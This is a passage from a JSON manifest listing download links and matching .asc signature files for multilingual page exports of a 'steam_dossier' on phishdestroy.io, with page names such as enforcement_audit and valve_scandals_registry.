            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/id/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/it/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ja/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ko/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/nl/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pl/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__network.content.json.asc"
          },
          {
